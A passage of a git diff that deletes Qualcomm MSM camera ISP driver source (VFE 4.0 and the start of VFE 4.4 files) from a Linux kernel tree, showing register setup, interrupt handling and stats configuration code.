(wm_ub_size - 1), - vfe_dev->vfe_base + VFE40_WM_BASE(i) + 0x10); - ub_offset += wm_ub_size; - } else - msm_camera_io_w(0, - vfe_dev->vfe_base + VFE40_WM_BASE(i) + 0x10); - } -} - -static void msm_vfe40_cfg_axi_ub_equal_slicing( - struct vfe_device *vfe_dev) -{ - int i; - uint32_t ub_offset = 0; - struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; - uint32_t axi_equal_slice_ub = - (vfe_dev->vfe_ub_size - VFE40_STATS_SIZE)/ - (axi_data->hw_info->num_wm - 1); - - for (i = 0; i < axi_data->hw_info->num_wm; i++) { - msm_camera_io_w(ub_offset << 16 | (axi_equal_slice_ub - 1), - vfe_dev->vfe_base + VFE40_WM_BASE(i) + 0x10); - ub_offset += axi_equal_slice_ub; - } -} - -static void msm_vfe40_cfg_axi_ub(struct vfe_device *vfe_dev) -{ - struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; - axi_data->wm_ub_cfg_policy = MSM_WM_UB_CFG_DEFAULT; - if (axi_data->wm_ub_cfg_policy == MSM_WM_UB_EQUAL_SLICING) - msm_vfe40_cfg_axi_ub_equal_slicing(vfe_dev); - else - msm_vfe40_cfg_axi_ub_equal_default(vfe_dev); -} - -static void msm_vfe40_update_ping_pong_addr( - struct vfe_device *vfe_dev, - uint8_t wm_idx, uint32_t pingpong_status, dma_addr_t paddr) -{ - uint32_t paddr32 = (paddr & 0xFFFFFFFF); - msm_camera_io_w(paddr32, vfe_dev->vfe_base + - VFE40_PING_PONG_BASE(wm_idx, pingpong_status)); -} - -static long msm_vfe40_axi_halt(struct vfe_device *vfe_dev, - uint32_t blocking) -{ - long rc = 0; - /* Keep only restart mask and halt mask*/ - msm_camera_io_w(BIT(31), vfe_dev->vfe_base + 0x28); - msm_camera_io_w(BIT(8), vfe_dev->vfe_base + 0x2C); - /* Clear IRQ Status*/ - msm_camera_io_w(0xFFFFFFFF, vfe_dev->vfe_base + 0x30); - msm_camera_io_w(0xFEFFFFFF, vfe_dev->vfe_base + 0x34); - if (blocking) { - init_completion(&vfe_dev->halt_complete); - /* Halt AXI Bus Bridge */ - msm_camera_io_w_mb(0x1, vfe_dev->vfe_base + 0x2C0); - atomic_set(&vfe_dev->error_info.overflow_state, NO_OVERFLOW); - rc = wait_for_completion_interruptible_timeout( - &vfe_dev->halt_complete, msecs_to_jiffies(500)); - } else { - /* Halt AXI Bus Bridge */ - msm_camera_io_w_mb(0x1, vfe_dev->vfe_base + 0x2C0); - } - return rc; -} - -static uint32_t msm_vfe40_get_wm_mask( - uint32_t irq_status0, uint32_t irq_status1) -{ - return (irq_status0 >> 8) & 0x7F; -} - -static void msm_vfe40_get_overflow_mask(uint32_t *overflow_mask) -{ - *overflow_mask = 0x00FFFE7E; -} - -static void msm_vfe40_get_irq_mask(struct vfe_device *vfe_dev, - uint32_t *irq0_mask, uint32_t *irq1_mask) -{ - *irq0_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x28); - *irq1_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x2C); -} - -static void msm_vfe40_restore_irq_mask(struct vfe_device *vfe_dev) -{ - msm_camera_io_w(vfe_dev->error_info.overflow_recover_irq_mask0, - vfe_dev->vfe_base + 0x28); - msm_camera_io_w(vfe_dev->error_info.overflow_recover_irq_mask1, - vfe_dev->vfe_base + 0x2C); -} - -static void msm_vfe40_get_halt_restart_mask(uint32_t *irq0_mask, - uint32_t *irq1_mask) -{ - *irq0_mask = BIT(31); - *irq1_mask = BIT(8); -} - -static int msm_vfe40_get_reg_update(uint32_t irq0_status, - uint32_t irq1_status) -{ - int rc = 0; - if (irq0_status & 0xF0) - rc = 1; - return rc; -} -static uint32_t msm_vfe40_get_comp_mask( - uint32_t irq_status0, uint32_t irq_status1) -{ - return (irq_status0 >> 25) & 0xF; -} - -static uint32_t msm_vfe40_get_pingpong_status( - struct vfe_device *vfe_dev) -{ - return msm_camera_io_r(vfe_dev->vfe_base + 0x268); -} - -static int msm_vfe40_get_stats_idx(enum msm_isp_stats_type stats_type) -{ - switch (stats_type) { - case MSM_ISP_STATS_BE: - return 0; - case MSM_ISP_STATS_BG: - return 1; - case MSM_ISP_STATS_BF: - return 2; - case MSM_ISP_STATS_AWB: - return 3; - case MSM_ISP_STATS_RS: - return 4; - case MSM_ISP_STATS_CS: - return 5; - case MSM_ISP_STATS_IHIST: - return 6; - case MSM_ISP_STATS_BHIST: - return 7; - default: - pr_err("%s: Invalid stats type\n", __func__); - return -EINVAL; - } -} - -static int msm_vfe40_stats_check_streams( - struct msm_vfe_stats_stream *stream_info) -{ - return 0; -} - -static void msm_vfe40_stats_cfg_comp_mask(struct vfe_device *vfe_dev, - uint32_t stats_mask, uint8_t enable) -{ - uint32_t reg_mask, comp_stats_mask; - uint32_t i = 0; - atomic_t *stats_comp; - struct msm_vfe_stats_shared_data *stats_data = &vfe_dev->stats_data; - - stats_mask = stats_mask & 0xFF; - - if (vfe_dev->hw_info->stats_hw_info->num_stats_comp_mask > - MAX_NUM_STATS_COMP_MASK) { - pr_err("%s: num of comp masks %d exceed max %d\n", - __func__, - vfe_dev->hw_info->stats_hw_info->num_stats_comp_mask, - MAX_NUM_STATS_COMP_MASK); - return; - } - - for (i = 0; - i < vfe_dev->hw_info->stats_hw_info->num_stats_comp_mask; i++) { - - reg_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x44); - comp_stats_mask = reg_mask & (STATS_COMP_BIT_MASK << (i*8)); - stats_comp = &stats_data->stats_comp_mask[i]; - - if (enable) { - if (comp_stats_mask) - continue; - - reg_mask |= (stats_mask << (16 + i*8)); - atomic_add(stats_mask, stats_comp); - } else { - /* - * Check if comp mask in reg is valid - * and contains this stat - */ - if (!comp_stats_mask || - !((comp_stats_mask >> (16 + i*8)) & - stats_mask)) - continue; - - atomic_sub(stats_mask, stats_comp); - reg_mask &= ~(stats_mask << (16 + i*8)); - } - ISP_DBG("%s: comp_mask: %x atomic stats[0]: %x %x\n", - __func__, reg_mask, - atomic_read(&stats_data->stats_comp_mask[0]), - atomic_read(&stats_data->stats_comp_mask[1])); - msm_camera_io_w(reg_mask, vfe_dev->vfe_base + 0x44); - vfe_dev->stats_data.stats_mask = reg_mask; - return; - } -} - -static void msm_vfe40_stats_cfg_wm_irq_mask( - struct vfe_device *vfe_dev, - struct msm_vfe_stats_stream *stream_info) -{ - uint32_t irq_mask; - irq_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x28); - irq_mask |= 1 << (STATS_IDX(stream_info->stream_handle) + 16); - msm_camera_io_w(irq_mask, vfe_dev->vfe_base + 0x28); -} - -static void msm_vfe40_stats_clear_wm_irq_mask( - struct vfe_device *vfe_dev, - struct msm_vfe_stats_stream *stream_info) -{ - uint32_t irq_mask; - irq_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x28); - irq_mask &= ~(1 << (STATS_IDX(stream_info->stream_handle) + 16)); - msm_camera_io_w(irq_mask, vfe_dev->vfe_base + 0x28); -} - -static void msm_vfe40_stats_cfg_wm_reg( - struct vfe_device *vfe_dev, - struct msm_vfe_stats_stream *stream_info) -{ - int stats_idx = STATS_IDX(stream_info->stream_handle); - uint32_t stats_base = VFE40_STATS_BASE(stats_idx); - - /*WR_ADDR_CFG*/ - msm_camera_io_w(stream_info->framedrop_period << 2, - vfe_dev->vfe_base + stats_base + 0x8); - /*WR_IRQ_FRAMEDROP_PATTERN*/ - msm_camera_io_w(stream_info->framedrop_pattern, - vfe_dev->vfe_base + stats_base + 0x10); - /*WR_IRQ_SUBSAMPLE_PATTERN*/ - msm_camera_io_w(0xFFFFFFFF, - vfe_dev->vfe_base + stats_base + 0x14); -} - -static void msm_vfe40_stats_clear_wm_reg( - struct vfe_device *vfe_dev, - struct msm_vfe_stats_stream *stream_info) -{ - uint32_t val = 0; - int stats_idx = STATS_IDX(stream_info->stream_handle); - uint32_t stats_base = VFE40_STATS_BASE(stats_idx); - - /*WR_ADDR_CFG*/ - msm_camera_io_w(val, vfe_dev->vfe_base + stats_base + 0x8); - /*WR_IRQ_FRAMEDROP_PATTERN*/ - msm_camera_io_w(val, vfe_dev->vfe_base + stats_base + 0x10); - /*WR_IRQ_SUBSAMPLE_PATTERN*/ - msm_camera_io_w(val, vfe_dev->vfe_base + stats_base + 0x14); -} - -static void msm_vfe40_stats_cfg_ub(struct vfe_device *vfe_dev) -{ - int i; - struct msm_vfe_stats_shared_data *stats_data = &vfe_dev->stats_data; - uint32_t ub_offset = vfe_dev->vfe_ub_size; - uint32_t stats_burst_len = stats_data->stats_burst_len; - - uint32_t ub_size[VFE40_NUM_STATS_TYPE] = { - 64, /*MSM_ISP_STATS_BE*/ - 128, /*MSM_ISP_STATS_BG*/ - 128, /*MSM_ISP_STATS_BF*/ - 16, /*MSM_ISP_STATS_AWB*/ - 8, /*MSM_ISP_STATS_RS*/ - 16, /*MSM_ISP_STATS_CS*/ - 16, /*MSM_ISP_STATS_IHIST*/ - 16, /*MSM_ISP_STATS_BHIST*/ - }; - - for (i = 0; i < VFE40_NUM_STATS_TYPE; i++) { - ub_offset -= ub_size[i]; - msm_camera_io_w(stats_burst_len << 30 | - ub_offset << 16 | (ub_size[i] - 1), - vfe_dev->vfe_base + VFE40_STATS_BASE(i) + 0xC); - } -} - -static void msm_vfe40_stats_enable_module(struct vfe_device *vfe_dev, - uint32_t stats_mask, uint8_t enable) -{ - int i; - uint32_t module_cfg, module_cfg_mask = 0; - - for (i = 0; i < VFE40_NUM_STATS_TYPE; i++) { - if ((stats_mask >> i) & 0x1) { - switch (i) { - case 0: - case 1: - case 2: - case 3: - case 4: - case 5: - module_cfg_mask |= 1 << (5 + i); - break; - case 6: - module_cfg_mask |= 1 << 15; - break; - case 7: - module_cfg_mask |= 1 << 18; - break; - default: - pr_err("%s: Invalid stats mask\n", __func__); - return; - } - } - } - - module_cfg = msm_camera_io_r(vfe_dev->vfe_base + 0x18); - if (enable) - module_cfg |= module_cfg_mask; - else - module_cfg &= ~module_cfg_mask; - msm_camera_io_w(module_cfg, vfe_dev->vfe_base + 0x18); -} - -static void msm_vfe40_stats_update_ping_pong_addr( - struct vfe_device *vfe_dev, struct msm_vfe_stats_stream *stream_info, - uint32_t pingpong_status, dma_addr_t paddr) -{ - uint32_t paddr32 = (paddr & 0xFFFFFFFF); - int stats_idx = STATS_IDX(stream_info->stream_handle); - msm_camera_io_w(paddr32, vfe_dev->vfe_base + - VFE40_STATS_PING_PONG_BASE(stats_idx, pingpong_status)); -} - -static uint32_t msm_vfe40_stats_get_wm_mask( - uint32_t irq_status0, uint32_t irq_status1) -{ - return (irq_status0 >> 16) & 0xFF; -} - -static uint32_t msm_vfe40_stats_get_comp_mask( - uint32_t irq_status0, uint32_t irq_status1) -{ - return (irq_status0 >> 29) & 0x3; -} - -static uint32_t msm_vfe40_stats_get_frame_id( - struct vfe_device *vfe_dev) -{ - uint32_t session_id; - session_id = vfe_dev->axi_data.src_info[VFE_PIX_0].session_id; - return vfe_dev->axi_data.frame_id[session_id]; -} - -static int msm_vfe40_get_platform_data(struct vfe_device *vfe_dev) -{ - int rc = 0; - vfe_dev->vfe_mem = platform_get_resource_byname(vfe_dev->pdev, - IORESOURCE_MEM, "vfe"); - if (!vfe_dev->vfe_mem) { - pr_err("%s: no mem resource?\n", __func__); - rc = -ENODEV; - goto vfe_no_resource; - } - - vfe_dev->vfe_vbif_mem = platform_get_resource_byname( - vfe_dev->pdev, - IORESOURCE_MEM, "vfe_vbif"); - if (!vfe_dev->vfe_vbif_mem) { - pr_err("%s: no mem resource?\n", __func__); - rc = -ENODEV; - goto vfe_no_resource; - } - - vfe_dev->vfe_irq = platform_get_resource_byname(vfe_dev->pdev, - IORESOURCE_IRQ, "vfe"); - if (!vfe_dev->vfe_irq) { - pr_err("%s: no irq resource?\n", __func__); - rc = -ENODEV; - goto vfe_no_resource; - } - - vfe_dev->fs_vfe = regulator_get(&vfe_dev->pdev->dev, "vdd"); - if (IS_ERR(vfe_dev->fs_vfe)) { - pr_err("%s: Regulator get failed %ld\n", __func__, - PTR_ERR(vfe_dev->fs_vfe)); - vfe_dev->fs_vfe = NULL; - rc = -ENODEV; - goto vfe_no_resource; - } - - vfe_dev->iommu_ctx[0] = msm_iommu_get_ctx("vfe"); - if (!vfe_dev->iommu_ctx[0]) { - pr_err("%s: cannot get iommu_ctx\n", __func__); - rc = -ENODEV; - goto vfe_no_resource; - } - -vfe_no_resource: - return rc; -} - -static void msm_vfe40_get_error_mask( - uint32_t *error_mask0, uint32_t *error_mask1) -{ - *error_mask0 = 0x00000000; - *error_mask1 = 0x00FFFEFF; -} - -static struct msm_vfe_axi_hardware_info msm_vfe40_axi_hw_info = { - .num_wm = 7, - .num_comp_mask = 3, - .num_rdi = 3, - .num_rdi_master = 3, - .min_wm_ub = 64, -}; - -static struct msm_vfe_stats_hardware_info msm_vfe40_stats_hw_info = { - .stats_capability_mask = - 1 << MSM_ISP_STATS_BE | 1 << MSM_ISP_STATS_BF | - 1 << MSM_ISP_STATS_BG | 1 << MSM_ISP_STATS_BHIST | - 1 << MSM_ISP_STATS_AWB | 1 << MSM_ISP_STATS_IHIST | - 1 << MSM_ISP_STATS_RS | 1 << MSM_ISP_STATS_CS, - .stats_ping_pong_offset = stats_pingpong_offset_map, - .num_stats_type = VFE40_NUM_STATS_TYPE, - .num_stats_comp_mask = 2, -}; - -static struct v4l2_subdev_core_ops msm_vfe40_subdev_core_ops = { - .ioctl = msm_isp_ioctl, - .subscribe_event = msm_isp_subscribe_event, - .unsubscribe_event = msm_isp_unsubscribe_event, -}; - -static struct v4l2_subdev_ops msm_vfe40_subdev_ops = { - .core = &msm_vfe40_subdev_core_ops, -}; - -static struct v4l2_subdev_internal_ops msm_vfe40_internal_ops = { - .open = msm_isp_open_node, - .close = msm_isp_close_node, -}; - -struct msm_vfe_hardware_info vfe40_hw_info = { - .num_iommu_ctx = 1, - .vfe_clk_idx = VFE40_CLK_IDX, - .vfe_ops = { - .irq_ops = { - .read_irq_status = msm_vfe40_read_irq_status, - .process_camif_irq = msm_vfe40_process_camif_irq, - .process_reset_irq = msm_vfe40_process_reset_irq, - .process_halt_irq = msm_vfe40_process_halt_irq, - .process_reset_irq = msm_vfe40_process_reset_irq, - .process_reg_update = msm_vfe40_process_reg_update, - .process_axi_irq = msm_isp_process_axi_irq, - .process_stats_irq = msm_isp_process_stats_irq, - }, - .axi_ops = { - .reload_wm = msm_vfe40_axi_reload_wm, - .enable_wm = msm_vfe40_axi_enable_wm, - .cfg_io_format = msm_vfe40_cfg_io_format, - .cfg_comp_mask = msm_vfe40_axi_cfg_comp_mask, - .clear_comp_mask = msm_vfe40_axi_clear_comp_mask, - .cfg_wm_irq_mask = msm_vfe40_axi_cfg_wm_irq_mask, - .clear_wm_irq_mask = msm_vfe40_axi_clear_wm_irq_mask, - .cfg_framedrop = msm_vfe40_cfg_framedrop, - .clear_framedrop = msm_vfe40_clear_framedrop, - .cfg_wm_reg = msm_vfe40_axi_cfg_wm_reg, - .clear_wm_reg = msm_vfe40_axi_clear_wm_reg, - .cfg_wm_xbar_reg = msm_vfe40_axi_cfg_wm_xbar_reg, - .clear_wm_xbar_reg = msm_vfe40_axi_clear_wm_xbar_reg, - .cfg_ub = msm_vfe40_cfg_axi_ub, - .update_ping_pong_addr = - msm_vfe40_update_ping_pong_addr, - .get_comp_mask = msm_vfe40_get_comp_mask, - .get_wm_mask = msm_vfe40_get_wm_mask, - .get_pingpong_status = msm_vfe40_get_pingpong_status, - .halt = msm_vfe40_axi_halt, - }, - .core_ops = { - .reg_update = msm_vfe40_reg_update, - .cfg_camif = msm_vfe40_cfg_camif, - .update_camif_state = msm_vfe40_update_camif_state, - .cfg_rdi_reg = msm_vfe40_cfg_rdi_reg, - .reset_hw = msm_vfe40_reset_hardware, - .init_hw = msm_vfe40_init_hardware, - .init_hw_reg = msm_vfe40_init_hardware_reg, - .release_hw = msm_vfe40_release_hardware, - .get_platform_data = msm_vfe40_get_platform_data, - .get_error_mask = msm_vfe40_get_error_mask, - .get_overflow_mask = msm_vfe40_get_overflow_mask, - .get_irq_mask = msm_vfe40_get_irq_mask, - .restore_irq_mask = msm_vfe40_restore_irq_mask, - .get_halt_restart_mask = - msm_vfe40_get_halt_restart_mask, - .process_error_status = msm_vfe40_process_error_status, - .init_vbif_counters = msm_vfe40_init_vbif_cntrs, - .vbif_clear_counters = msm_vfe40_vbif_clear_cnt, - .vbif_read_counters = msm_vfe40_vbif_read_cnt_epoch, - .get_regupdate_status = msm_vfe40_get_reg_update, - }, - .stats_ops = { - .get_stats_idx = msm_vfe40_get_stats_idx, - .check_streams = msm_vfe40_stats_check_streams, - .cfg_comp_mask = msm_vfe40_stats_cfg_comp_mask, - .cfg_wm_irq_mask = msm_vfe40_stats_cfg_wm_irq_mask, - .clear_wm_irq_mask = msm_vfe40_stats_clear_wm_irq_mask, - .cfg_wm_reg = msm_vfe40_stats_cfg_wm_reg, - .clear_wm_reg = msm_vfe40_stats_clear_wm_reg, - .cfg_ub = msm_vfe40_stats_cfg_ub, - .enable_module = msm_vfe40_stats_enable_module, - .update_ping_pong_addr = - msm_vfe40_stats_update_ping_pong_addr, - .get_comp_mask = msm_vfe40_stats_get_comp_mask, - .get_wm_mask = msm_vfe40_stats_get_wm_mask, - .get_frame_id = msm_vfe40_stats_get_frame_id, - .get_pingpong_status = msm_vfe40_get_pingpong_status, - }, - }, - .dmi_reg_offset = 0x918, - .axi_hw_info = &msm_vfe40_axi_hw_info, - .stats_hw_info = &msm_vfe40_stats_hw_info, - .subdev_ops = &msm_vfe40_subdev_ops, - .subdev_internal_ops = &msm_vfe40_internal_ops, -}; -EXPORT_SYMBOL(vfe40_hw_info); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp40.h b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp40.h deleted file mode 100644 index e9b151816a375..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp40.h +++ /dev/null @@ -1,17 +0,0 @@ -/* Copyright (c) 2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#ifndef __MSM_ISP40_H__ -#define __MSM_ISP40_H__ - -extern struct msm_vfe_hardware_info vfe40_hw_info; -#endif /* __MSM_ISP40_H__ */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp44.c b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp44.c deleted file mode 100644 index 8e297b5dedc0a..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp44.c +++ /dev/null @@ -1,1487 +0,0 @@ -/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#include -#include -#include - -#include "msm_isp44.h" -#include "msm_isp_util.h" -#include "msm_isp_axi_util.h" -#include "msm_isp_stats_util.h" -#include "msm_isp.h" -#include "msm.h" -#include "msm_camera_io_util.h" - -/*#define CONFIG_MSM_ISP_DBG*/ -#undef CDBG -#ifdef CONFIG_MSM_ISP_DBG -#define CDBG(fmt, args...) pr_err(fmt, ##args) -#else -#define CDBG(fmt, args...) do { } while (0) -#endif - -#define STATS_IDX_BF_SCALE 0 -#define STATS_IDX_BE 1 -#define STATS_IDX_BG 2 -#define STATS_IDX_BF 3 -#define STATS_IDX_AWB 4 -#define STATS_IDX_RS 5 -#define STATS_IDX_CS 6 -#define STATS_IDX_IHIST 7 -#define STATS_IDX_BHIST 8 - -#define VFE44_8084V1_VERSION 0x4000000A - -#define VFE44_BURST_LEN 3 -#define VFE44_STATS_BURST_LEN 2 -#define VFE44_UB_SIZE 2048 -#define VFE44_EQUAL_SLICE_UB 228 -#define VFE44_WM_BASE(idx) (0x6C + 0x24 * idx) -#define VFE44_RDI_BASE(idx) (0x2E8 + 0x4 * idx) -#define VFE44_XBAR_BASE(idx) (0x58 + 0x4 * (idx / 2)) -#define VFE44_XBAR_SHIFT(idx) ((idx%2) ? 16 : 0) -#define VFE44_PING_PONG_BASE(wm, ping_pong) \ - (VFE44_WM_BASE(wm) + 0x4 * (1 + (~(ping_pong >> wm) & 0x1))) - -static uint8_t stats_pingpong_offset_map[] = { - 7, 8, 9, 10, 11, 12, 13, 14, 15}; - -#define SHIFT_BF_SCALE_BIT 1 -#define VFE44_NUM_STATS_COMP 2 -#define VFE44_NUM_STATS_TYPE 9 -#define VFE44_STATS_BASE(idx) \ - ((idx) == STATS_IDX_BF_SCALE ? 0xA0C : (0x168 + 0x18 * (idx-1))) -#define VFE44_STATS_PING_PONG_BASE(idx, ping_pong) \ - (VFE44_STATS_BASE(idx) + 0x4 * \ - (~(ping_pong >> (stats_pingpong_offset_map[idx])) & 0x1)) - -#define VFE44_VBIF_CLKON 0x4 -#define VFE44_VBIF_IN_RD_LIM_CONF0 0xB0 -#define VFE44_VBIF_IN_RD_LIM_CONF1 0xB4 -#define VFE44_VBIF_IN_RD_LIM_CONF2 0xB8 -#define VFE44_VBIF_IN_WR_LIM_CONF0 0xC0 -#define VFE44_VBIF_IN_WR_LIM_CONF1 0xC4 -#define VFE44_VBIF_IN_WR_LIM_CONF2 0xC8 -#define VFE44_VBIF_OUT_RD_LIM_CONF0 0xD0 -#define VFE44_VBIF_OUT_WR_LIM_CONF0 0xD4 -#define VFE44_VBIF_DDR_OUT_MAX_BURST 0xD8 -#define VFE44_VBIF_OCMEM_OUT_MAX_BURST 0xDC -#define VFE44_VBIF_ARB_CTL 0xF0 -#define VFE44_VBIF_ROUND_ROBIN_QOS_ARB 0x124 -#define VFE44_VBIF_OUT_AXI_AMEMTYPE_CONF0 0x160 -#define VFE44_VBIF_OUT_AXI_AMEMTYPE_CONF1 0x164 -#define VFE44_VBIF_OUT_AXI_AOOO_EN 0x178 -#define VFE44_VBIF_OUT_AXI_AOOO 0x17C - -#define VFE44_BUS_BDG_QOS_CFG_0 0x000002C4 -#define VFE44_BUS_BDG_QOS_CFG_1 0x000002C8 -#define VFE44_BUS_BDG_QOS_CFG_2 0x000002CC -#define VFE44_BUS_BDG_QOS_CFG_3 0x000002D0 -#define VFE44_BUS_BDG_QOS_CFG_4 0x000002D4 -#define VFE44_BUS_BDG_QOS_CFG_5 0x000002D8 -#define VFE44_BUS_BDG_QOS_CFG_6 0x000002DC -#define VFE44_BUS_BDG_QOS_CFG_7 0x000002E0 - -#define VFE44_CLK_IDX 2 -static struct msm_cam_clk_info msm_vfe44_clk_info[VFE_CLK_INFO_MAX]; - -static void msm_vfe44_init_qos_parms(struct vfe_device *vfe_dev) -{ - void __iomem *vfebase = vfe_dev->vfe_base; - - if (vfe_dev->vfe_hw_version == VFE44_8084V1_VERSION) { - msm_camera_io_w(0xFEA9FEA9, vfebase + VFE44_BUS_BDG_QOS_CFG_0); - msm_camera_io_w(0xFEA9FEA9, vfebase + VFE44_BUS_BDG_QOS_CFG_1); - msm_camera_io_w(0xFEA9FEA9, vfebase + VFE44_BUS_BDG_QOS_CFG_2); - msm_camera_io_w(0xFEA9FEA9, vfebase + VFE44_BUS_BDG_QOS_CFG_3); - msm_camera_io_w(0xFEA9FEA9, vfebase + VFE44_BUS_BDG_QOS_CFG_4); - msm_camera_io_w(0xFEA9FEA9, vfebase + VFE44_BUS_BDG_QOS_CFG_5); - msm_camera_io_w(0xFEA9FEA9, vfebase + VFE44_BUS_BDG_QOS_CFG_6); - msm_camera_io_w(0x0001FEA9, vfebase + VFE44_BUS_BDG_QOS_CFG_7); - } else { - BUG(); - pr_err("%s: QOS is NOT configured for HW Version %x\n", - __func__, vfe_dev->vfe_hw_version); - } -} - -static void msm_vfe44_init_vbif_parms_8084_v1(struct vfe_device *vfe_dev) -{ - void __iomem *vfe_vbif_base = vfe_dev->vfe_vbif_base; - msm_camera_io_w(0x1, - vfe_vbif_base + VFE44_VBIF_CLKON); - msm_camera_io_w(0x00100000, - vfe_vbif_base + VFE44_VBIF_IN_RD_LIM_CONF0); - msm_camera_io_w(0x00001000, - vfe_vbif_base + VFE44_VBIF_IN_RD_LIM_CONF1); - msm_camera_io_w(0x10000010, - vfe_vbif_base + VFE44_VBIF_IN_RD_LIM_CONF2); - msm_camera_io_w(0x10000010, - vfe_vbif_base + VFE44_VBIF_IN_WR_LIM_CONF0); - msm_camera_io_w(0x10100000, - vfe_vbif_base + VFE44_VBIF_IN_WR_LIM_CONF1); - msm_camera_io_w(0x00101000, - vfe_vbif_base + VFE44_VBIF_IN_WR_LIM_CONF2); - msm_camera_io_w(0x3, - vfe_vbif_base + VFE44_VBIF_ROUND_ROBIN_QOS_ARB); -} - -static void msm_vfe44_init_vbif_parms(struct vfe_device *vfe_dev) -{ - switch (vfe_dev->vfe_hw_version) { - case VFE44_8084V1_VERSION: - msm_vfe44_init_vbif_parms_8084_v1(vfe_dev); - break; - default: - BUG(); - pr_err("%s: VBIF is NOT configured for HW Version %x\n", - __func__, vfe_dev->vfe_hw_version); - break; - } - -} - -static int msm_vfe44_init_hardware(struct vfe_device *vfe_dev) -{ - int rc = -1; - rc = msm_isp_init_bandwidth_mgr(ISP_VFE0 + vfe_dev->pdev->id); - if (rc < 0) { - pr_err("%s: Bandwidth registration Failed!\n", __func__); - goto bus_scale_register_failed; - } - - if (vfe_dev->fs_vfe) { - rc = regulator_enable(vfe_dev->fs_vfe); - if (rc) { - pr_err("%s: Regulator enable failed\n", __func__); - goto fs_failed; - } - } - - rc = msm_isp_get_clk_info(vfe_dev, vfe_dev->pdev, msm_vfe44_clk_info); - if (rc < 0) { - pr_err("msm_isp_get_clk_info() failed\n"); - goto fs_failed; - } - if (vfe_dev->num_clk <= 0) { - pr_err("%s: Invalid num of clock\n", __func__); - goto fs_failed; - } else { - vfe_dev->vfe_clk = - kzalloc(sizeof(struct clk *) * vfe_dev->num_clk, - GFP_KERNEL); - if (!vfe_dev->vfe_clk) { - pr_err("%s:%d No memory\n", __func__, __LINE__); - return -ENOMEM; - } - } - rc = msm_cam_clk_enable(&vfe_dev->pdev->dev, msm_vfe44_clk_info, - vfe_dev->vfe_clk, vfe_dev->num_clk, 1); - if (rc < 0) - goto clk_enable_failed; - - vfe_dev->vfe_base = ioremap(vfe_dev->vfe_mem->start, - resource_size(vfe_dev->vfe_mem)); - if (!vfe_dev->vfe_base) { - rc = -ENOMEM; - pr_err("%s: vfe ioremap failed\n", __func__); - goto vfe_remap_failed; - } - - vfe_dev->vfe_vbif_base = ioremap(vfe_dev->vfe_vbif_mem->start, - resource_size(vfe_dev->vfe_vbif_mem)); - if (!vfe_dev->vfe_vbif_base) { - rc = -ENOMEM; - pr_err("%s: vfe ioremap failed\n", __func__); - goto vbif_remap_failed; - } - - rc = request_irq(vfe_dev->vfe_irq->start, msm_isp_process_irq, - IRQF_TRIGGER_RISING, "vfe", vfe_dev); - if (rc < 0) { - pr_err("%s: irq request failed\n", __func__); - goto irq_req_failed; - } - return rc; -irq_req_failed: - iounmap(vfe_dev->vfe_vbif_base); -vbif_remap_failed: - iounmap(vfe_dev->vfe_base); -vfe_remap_failed: - msm_cam_clk_enable(&vfe_dev->pdev->dev, msm_vfe44_clk_info, - vfe_dev->vfe_clk, vfe_dev->num_clk, 0); -clk_enable_failed: - regulator_disable(vfe_dev->fs_vfe); - kfree(vfe_dev->vfe_clk); -fs_failed: - msm_isp_deinit_bandwidth_mgr(ISP_VFE0 + vfe_dev->pdev->id); -bus_scale_register_failed: - return rc; -} - -static void msm_vfe44_release_hardware(struct vfe_device *vfe_dev) -{ - free_irq(vfe_dev->vfe_irq->start, vfe_dev); - tasklet_kill(&vfe_dev->vfe_tasklet); - iounmap(vfe_dev->vfe_vbif_base); - iounmap(vfe_dev->vfe_base); - msm_cam_clk_enable(&vfe_dev->pdev->dev, msm_vfe44_clk_info, - vfe_dev->vfe_clk, vfe_dev->num_clk, 0); - kfree(vfe_dev->vfe_clk); - regulator_disable(vfe_dev->fs_vfe); - msm_isp_deinit_bandwidth_mgr(ISP_VFE0 + vfe_dev->pdev->id); -} - -static void msm_vfe44_init_hardware_reg(struct vfe_device *vfe_dev) -{ - msm_vfe44_init_qos_parms(vfe_dev); - msm_vfe44_init_vbif_parms(vfe_dev); - /* CGC_OVERRIDE */ - msm_camera_io_w(0xFBFFFFFF, vfe_dev->vfe_base + 0x14); - msm_camera_io_w(0xC001FF7F, vfe_dev->vfe_base + 0x974); - /* BUS_CFG */ - msm_camera_io_w(0x10000001, vfe_dev->vfe_base + 0x50); - msm_camera_io_w(0xE00000F3, vfe_dev->vfe_base + 0x28); - msm_camera_io_w_mb(0xFFFFFFFF, vfe_dev->vfe_base + 0x2C); - msm_camera_io_w(0xFFFFFFFF, vfe_dev->vfe_base + 0x30); - msm_camera_io_w_mb(0xFFFFFFFF, vfe_dev->vfe_base + 0x34); -} - -static void msm_vfe44_process_reset_irq(struct vfe_device *vfe_dev, - uint32_t irq_status0, uint32_t irq_status1) -{ - if (irq_status0 & (1 << 31)) - complete(&vfe_dev->reset_complete); -} - -static void msm_vfe44_process_halt_irq(struct vfe_device *vfe_dev, - uint32_t irq_status0, uint32_t irq_status1) -{ - if (irq_status1 & 